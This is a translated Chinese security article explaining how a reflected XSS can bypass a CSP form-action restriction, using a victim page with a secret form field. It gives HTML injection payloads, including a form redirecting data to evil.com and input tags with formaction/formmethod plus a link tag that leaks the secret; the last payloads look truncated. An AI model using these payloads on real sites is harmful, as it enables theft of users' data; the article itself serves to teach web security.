利用反射型XSS二次注入繞過CSP form-action限制
0x01 簡單介紹
CSP(Content-Security-Policy)是為了緩解XSS而存在的一種策略, 開發者可以設置一些規則來限制頁面可以加載的內容.那文本中所說的form-action又是干啥的呢?用他可以限制form標簽"action"屬性的指向頁面, 這樣可以防止攻擊者通過XSS修改表單的"action"屬性,偷取用戶的一些隱私信息.
0x02 實例分析
上面講的太抽象了, 如果不想看的話可以直接跳過....具體一點, 現在使用的是chrome瀏覽器, 假設下面這個secret.html是可能被XSS攻擊的
#!html
//XSS在這里, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
如果這個站點沒有CSP, 攻擊者可以直接通過XSS修改
#!html
<form method="POST" action='http://evil.com/wo_de_mi_mi.php'> //我的秘密
當用戶傻傻地進行"正常'操作時,小秘密已經悄然變成攻擊者的秘密了.然后,有一個管理員試圖用CSP防止這個問題, 他使用白名單策略限制外部JS的加載并且不允許內聯腳本, 好像安全性高了一點.
攻擊者想了下, 把頁面改成下面這個樣子
#!html
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>
在原本的form之前又加了一個form標簽, 這個新的form標簽沒有閉合,并且直接碰到了老form標簽, 這個時候會發生什么呢?
老form標簽就這樣消失了! 所以攻擊者再次把用戶的小秘密發送到了自己的服務器上, 而且這時本來應該是POST的secret因為老form標簽的消失現在變成了GET發送, 請求變成了下面這樣.
這下管理員郁悶了, 最后索性用CSP加上了form-action來白名單限定form標簽的action指向, 那么這樣是否還會出現問題呢?
一起來回顧一下, 現在有一個不能執行JS的反射型XSS和一個只能往白名單域名(當然沒有攻擊者域名...)指向的form標簽.
原secret.html
#!html
// XSS位置, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/>
最后攻擊者的改過的頁面如下
#!html
<input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />
<input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' >
// XSS, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
<input type='hidden' name='secret' value='xiao_mi_mi'/>
</form>
這里有幾處tricky的地方, 整個代碼的步驟如下
-
input標簽的form/formmethod/formaction將老form POST到oo.html的secret變成GET發送到secret.html即當前頁面.
-
跳轉后仍處于secret.html因此該頁面的XSS還可以被二次利用注入惡意標簽, 這里又利用第二個input標簽增加GET請求的xss參數, 所以跳轉之后的URL變為
#!html http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' >
-
此時secret.html再次觸發XSS, 被攻擊者加入下面標簽
#!html <link rel='subresource' >
-
正是最后這個link標簽泄露了本該POST發送的secret, 攻擊者通過利用一個反射型XSS將CSP的form-action繞過.
0x03 最后
CSP能夠從某種程度上限制XSS, 對網站的防護是很有益義的. 不過相比國外經常能夠看到相關的討論,國內CSP的推進和熱度卻是比較不盡人意的, 同時關于CSP也有很多有意思的安全點, 特此翻譯出來以供大家學習和參考.
原文鏈接: https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/
來自: http://drops.wooyun.org/tips/14686
翻譯:SecurityToolkit